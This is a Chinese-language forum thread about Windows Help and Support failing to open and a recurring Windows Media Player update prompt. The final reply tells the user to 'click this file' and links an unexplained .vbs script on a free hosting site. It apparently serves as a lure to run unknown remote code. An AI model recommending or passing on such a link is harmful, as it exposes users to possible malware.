我机子最近碰见这么两个头疼问题，帮助和支持打不开，Windows Media Player10已经是最新版本了，但是还要提示我升级！我就郁闷死了！我在“我的电脑——管理——服务和应用程序——服务”中看过了Help and Support这个已经启用了，但是我还是打不开帮助和支持。我又重新按照详细的步骤做了一遍，结果还是不行~我不明白是什么原因！:'( :'(  我手上也没有系统盘，没办法进行植入系统盘修复这个毛病，我知道少了个帮助文件，但是，我不想重装系统。求求高手们有什么办法没？帮帮我，我求求你们了！
    另外一个毛病就是我一进聊天室，系统就提示我Windows Media Player版本太低，需要下载更新程序，但是我下载安装后，情况还是照旧，这个我是彻底的不明白了！！高手们，帮帮忙，帮帮忙。小弟在这谢过了！:'( :'( :'( :'(

Help and Support 服务打开有时候无法使用的原因很多,有时候人们为了节省系统空间会将help的文件内容删除  希望你不是这样的
  
      你的WMP具体原因能不能将日志的相关信息发布上来

点击这个文件就可以了
http://yth0828.10mb.cn/188/1212.vbs